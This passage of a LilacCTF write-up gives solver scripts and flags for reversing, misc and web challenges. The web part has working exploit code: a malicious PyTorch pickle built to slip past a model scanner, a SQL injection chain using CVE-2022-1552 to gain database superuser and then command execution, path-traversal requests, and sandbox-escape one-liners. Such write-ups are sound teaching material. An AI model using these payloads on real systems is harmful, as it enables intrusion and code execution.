hSaEPwTTQ0NDpYDbwDZgEehlcBu4Aw4FXwCngITAA+AGsB60PTQm9C04AS0KHgymgsaGfwSHQquA26HYwJTQsuAQaGYwBngJvQnuD8cAoYAxwBDgDeht8BxYDJ0GTgxWh7cGZ4FNwCxgLehc8Ct0MjoU2B5dBI0NPg3PAE9Dc4E5wKLQ2OATcAEYBJ4AfoPfBWeAksAE4AKwBdoaGB2OCgaHbwbZgXDA0GBY8AdYF14KXwbJgJHAU9D3YAPofnAPmhP4Hy4BxwKXgG/AfeBYMCZYEC4FFwW5gTrAMuBN8B74Fm4ARwLFgTTA7uBlMAAYAb/0HPIxLfQ=="
def rol32(x: int, r: int) -> int:
x &= 0xFFFFFFFF
r &= 31
return ((x << r) | (x >> (32 - r))) & 0xFFFFFFFF
def ror32(x: int, r: int) -> int:
x &= 0xFFFFFFFF
r &= 31
return ((x >> r) | (x << (32 - r))) & 0xFFFFFFFF
def _load_constants():
raw = zlib.decompress(base64.b64decode(_BLOB_B64_ZLIB))
if len(raw) != 4260:
raise RuntimeError(f"bad constants blob length: {len(raw)}")
off = 0
(g_base,) = struct.unpack_from("<I", raw, off)
off += 4
k_words = list(struct.unpack_from("<40I", raw, off))
off += 40 * 4
g_delta = []
for _ in range(4):
g_delta.append(list(struct.unpack_from("<256I", raw, off)))
off += 256 * 4
return g_base, k_words, g_delta
G_BASE, K_WORDS, G_DELTA = _load_constants()
def g(x: int) -> int:
x &= 0xFFFFFFFF
b0 = x & 0xFF
b1 = (x >> 8) & 0xFF
b2 = (x >> 16) & 0xFF
b3 = (x >> 24) & 0xFF
return (G_BASE ^ G_DELTA[0][b0] ^ G_DELTA[1][b1] ^ G_DELTA[2][b2] ^ G_DELTA[3][b3]) & 0xFFFFFFFF
def encrypt_block(block16: bytes) -> bytes:
x0, x1, x2, x3 = struct.unpack("<4I", block16)
x0 ^= K_WORDS[0]
x1 ^= K_WORDS[1]
x2 ^= K_WORDS[2]
x3 ^= K_WORDS[3]
for r in range(16):
t0 = g(x0)
t1 = g(rol32(x1, 8))
f0 = (t0 + t1 + K_WORDS[8 + 2 * r]) & 0xFFFFFFFF
f1 = (t0 + (2 * t1 & 0xFFFFFFFF) + K_WORDS[9 + 2 * r]) & 0xFFFFFFFF
x2 = ror32((x2 ^ f0) & 0xFFFFFFFF, 5)
x3 = (rol32(x3, 5) ^ f1) & 0xFFFFFFFF
if r < 15:
x0, x2 = x2, x0
x1, x3 = x3, x1
c0 = x0 ^ K_WORDS[4]
c1 = x1 ^ K_WORDS[5]
c2 = x2 ^ K_WORDS[6]
c3 = x3 ^ K_WORDS[7]
return struct.pack("<4I", c0 & 0xFFFFFFFF, c1 & 0xFFFFFFFF, c2 & 0xFFFFFFFF, c3 & 0xFFFFFFFF)
def decrypt_block(block16: bytes) -> bytes:
x0, x1, x2, x3 = struct.unpack("<4I", block16)
x0 ^= K_WORDS[4]
x1 ^= K_WORDS[5]
x2 ^= K_WORDS[6]
x3 ^= K_WORDS[7]
for r in range(15, -1, -1):
if r < 15:
x0, x2 = x2, x0
x1, x3 = x3, x1
t0 = g(x0)
t1 = g(rol32(x1, 8))
f0 = (t0 + t1 + K_WORDS[8 + 2 * r]) & 0xFFFFFFFF
f1 = (t0 + (2 * t1 & 0xFFFFFFFF) + K_WORDS[9 + 2 * r]) & 0xFFFFFFFF
x2 = (rol32(x2, 5) ^ f0) & 0xFFFFFFFF
x3 = ror32((x3 ^ f1) & 0xFFFFFFFF, 5)
p0 = x0 ^ K_WORDS[0]
p1 = x1 ^ K_WORDS[1]
p2 = x2 ^ K_WORDS[2]
p3 = x3 ^ K_WORDS[3]
return struct.pack("<4I", p0 & 0xFFFFFFFF, p1 & 0xFFFFFFFF, p2 & 0xFFFFFFFF, p3 & 0xFFFFFFFF)
def main() -> int:
ct = bytes.fromhex("A20492152735B4F6ECBAA359DB64417BDF277A73B085666034CF38E748D8FBD4")
pt = b"".join(decrypt_block(ct[i : i + 16]) for i in range(0, len(ct), 16))
re_ct = b"".join(encrypt_block(pt[i : i + 16]) for i in range(0, len(pt), 16))
print("pt_hex:", pt.hex())
print("pt_raw:", pt)
print("verify_reencrypt:", re_ct == ct)
return 0
if __name__ == "__main__":
raise SystemExit(main())
```
Flag: `LilacCTF{I_ju3t_w@nnA_b3_hapPy}`
## NineApple
```python!
import lief, struct
bin = lief.parse("Nine")
def qwords(addr, n):
data = bytes(bin.get_content_from_virtual_address(addr, 8 * n))
return list(struct.unpack("<" + "Q" * n, data))
def decode_swift_small_string(payload, tag):
length = ((tag >> 56) & 0xFF) - 0xE0
b_payload = payload.to_bytes(8, "little")
b_extra = (tag & 0x00FFFFFFFFFFFFFF).to_bytes(7, "little")
return (b_payload + b_extra)[:length].decode("ascii")
W_BASE = 0x100010320
T_BASE = 0x100010390
M_BASE = 0x1000104C0
w_count = qwords(W_BASE, 4)[2]
weights = qwords(W_BASE + 0x20, w_count)
t_count = qwords(T_BASE, 4)[2]
targets = qwords(T_BASE + 0x20, t_count)
m_count = qwords(M_BASE, 4)[2]
m_raw = qwords(M_BASE + 0x20, m_count * 4)
char_to_pattern = {}
for i in range(m_count):
pk, tk, pv, tv = m_raw[i*4:(i+1)*4]
k = decode_swift_small_string(pk, tk)
v = decode_swift_small_string(pv, tv)
char_to_pattern[k] = v
pattern_to_char = {v: k for k, v in char_to_pattern.items()}
def decode_code(code):
rem = code
digits = []
for w in weights:
d = rem // w
rem -= d * w
digits.append(d)
while digits and digits[-1] == 0:
digits.pop()
return "".join(str(d) for d in digits)
patterns = [decode_code(x) for x in targets]
flag = "".join(pattern_to_char[p] for p in patterns)
print("flag:", flag)
print("patterns:", " ".join(patterns))
```
Flag: `Lilac{10S_aNd_l1lac_w1n3_f0r_you}`
# Misc
## sky is ours
### Solution
https://www.flightaware.com/live/flight/QDA6097/history/20250410/0510Z/ZSYT/ZSFZ
## launchpad
### Solution
The `tweak_emulate_clock_handler` function allows advance the on-chain emulated timestamp by a given `delta`. This can bypass schedules to the clock to unlock token claims.
## Your GitHub, mine
### Solution
Access the bot https://github.com/tynqf4hn8z and find other public repo, submit the issue to the bot for checking and get the flag.
For example: https://github.com/tynqf4hn8z/lilacctf-puzzle-4xonhewg/issues/1
## Questionnaire

## Welcome
```python
import zlib, binascii; print(zlib.decompress(binascii.unhexlify("789c0540b10980400c5ce92442067849153bc1f278ae1031ad95b87bc8bba6c611df6925ec46076bc955f2e0056ccc773c7f03fb580c81")).decode())
```
# Web
## nailong
Slopped script to generate the malicious .pt file
```py=
import torch
import tarfile
import io
import pickle
import os
# --- Configuration ---
FILENAME = "bypass.pt"
# The specific integer the scanner expects (derived from your error log)
# 119547037146038801333356 = 0x1950A86A20F9469CFC6C0000
SCANNER_EXPECTED_MAGIC = 119547037146038801333356
# --- 1. Construct the Camouflage Payload (Header Injection) ---
# This payload is designed to sit in the 100-byte Tar Header Name field.
# It tricks the scanner (which treats the file as a linear pickle stream)
# into thinking it has read a valid Magic Number and 5 innocuous pickles.
# Pickle 1: The Spoofed Magic Number
# Opcode: I (INT) ... \n . (STOP)
p_magic = f'I{SCANNER_EXPECTED_MAGIC}\n.'.encode('ascii')
# Pickles 2-6: Dummy Pickles to satisfy the scanner's 'range(5)' loop
# We use 'N.' (None) because it is short (2 bytes).
p_dummy = b'N.'
# Combine: 1 Magic + 5 Dummies
fake_filename = p_magic + (p_dummy * 5)
print(f"Camouflage Payload Length: {len(fake_filename)} bytes (Max 100)")
if len(fake_filename) > 99:
raise ValueError("Payload too long for Tar header name field!")
# --- 2. Construct the Malicious Payload (The Real Exploit) ---
class Malicious:
def __reduce__(self):
# The payload executed by the victim
return (exec, ("<python code here>",))
# Prepare buffers for the internal files required by PyTorch's Tar Loader
# Protocol 2 is required for legacy format compatibility.
# 'pickle': Contains the executable object
pickle_buffer = io.BytesIO()
pickle.Pickler(pickle_buffer, protocol=2).dump(Malicious())
pickle_bytes = pickle_buffer.getvalue()
# 'storages': Requires [count (int), view_metadata (list)]
meta_buffer = io.BytesIO()
pickle.dump(0, meta_buffer, protocol=2) # count
pickle.dump([], meta_buffer, protocol=2) # list
meta_bytes = meta_buffer.getvalue()
# 'tensors': Requires [count (int)]
tensors_buffer = io.BytesIO()
pickle.dump(0, tensors_buffer, protocol=2)
tensors_bytes = tensors_buffer.getvalue()
# --- 3. Build the Polyglot Tar File ---
with tarfile.open(FILENAME, "w") as tar:
# ENTRY 1: The Decoy (Header Injection)
# The scanner reads the NAME bytes of this entry thinking it's the file header.
# The content is empty.
info = tarfile.TarInfo(name=fake_filename.decode('latin1'))
info.size = 0
tar.addfile(info, io.BytesIO(b""))
# ENTRY 2: The Real Payload ('pickle')
# PyTorch looks for this specific filename
info = tarfile.TarInfo(name="pickle")
info.size = len(pickle_bytes)
tar.addfile(info, io.BytesIO(pickle_bytes))
# ENTRY 3: Storages Metadata
info = tarfile.TarInfo(name="storages")
info.size = len(meta_bytes)
tar.addfile(info, io.BytesIO(meta_bytes))
# ENTRY 4: Tensors Metadata
info = tarfile.TarInfo(name="tensors")
info.size = len(tensors_bytes)
tar.addfile(info, io.BytesIO(tensors_bytes))
print(f"Successfully created '{FILENAME}'")
```
## keep
### Solution
https://projectdiscovery.io/blog/php-http-server-source-disclosure

## checkin
```python=
vars().get(min(dir())).append(~vars().get(min(dir())).pop())
```
## playground
```python=
import json
def callback(js_proxy):
Func = js_proxy.constructor
Func("alert()")()
return "test"
json.dumps(execfile, default=callback)
```
## safe-sql
Get superuser using CVE-2022-1552.
```python=
import requests
import random
import time
s = requests.session()
URL = "http://61.147.171.103:55561/api/login"
tablename = "tchen_table_" + random.randbytes(8).hex()
funcname = "tchen_func_" + random.randbytes(8).hex()
idx = "tchen_idx_" + random.randbytes(8).hex()
print(tablename, funcname, idx)
r = s.post(URL, json={
"username": "\\",
"password": f"AND 1=1; CREATE FUNCTION {funcname}(int) RETURNS int LANGUAGE plpgsql IMMUTABLE AS $$" \
f"BEGIN" \
f" RETURN $1; " \
f"END;" \
f"$$; SELECT 1;--"
})
r = r.json().get("username", "error")
print(r)
r = s.post(URL, json={
"username": "\\",
"password": f"AND 1=1; CREATE TABLE {tablename}(a int);" \
f"CREATE INDEX {idx} ON {tablename} USING brin(({funcname}(a) + {funcname}(0))) WITH (pages_per_range = 1, autosummarize = on);" \
f"SELECT brin_desummarize_range($${idx}$$, 0);" \
f"INSERT INTO {tablename} SELECT generate_series(1, 1000000);" \
f"CREATE OR REPLACE FUNCTION {funcname}(int) RETURNS int LANGUAGE sql AS $$" \
f"ALTER USER ctf SUPERUSER;" \
f"SELECT $1;" \
f"$$;" \
f"SELECT 1; --"
})
r = r.json().get("username", "error")
print(r)
prev = ""
while True:
r = s.post(URL, json={
"username": "\\",
"password": f"AND 1=1; SELECT max(last_autovacuum) AS last_autovacuum_any_table FROM pg_stat_all_tables;--"
})
r = r.json().get("username", "error")
print(r)
if prev and prev != r:
break
prev = r
time.sleep(5)
```
Then, RCE using COPY instruction.
```
CREATE TEMP TABLE shell(output text);COPY shell FROM PROGRAM 'cmd';SELECT text,1 from shell;
```
## path
### Solution
```py=
import requests
base = "http://1.95.51.2:8080"
s = requests.Session()
def get_token():
r1 = s.get(f"{base}/api/diag/read", params={"path": r"\\?\C:\token\access_key.txt"})
r1.raise_for_status()
token = r1.json()["token"]
print("Token:", token)
return token
p = r"\\?\GLOBALROOT\??\UNC\172.20.0.10\backup\flag.txt"
token = get_token()
r2 = s.get(f"{base}/api/export/read", params={"token": token, "path": p})
print(p, r2.status_code, r2.text)
```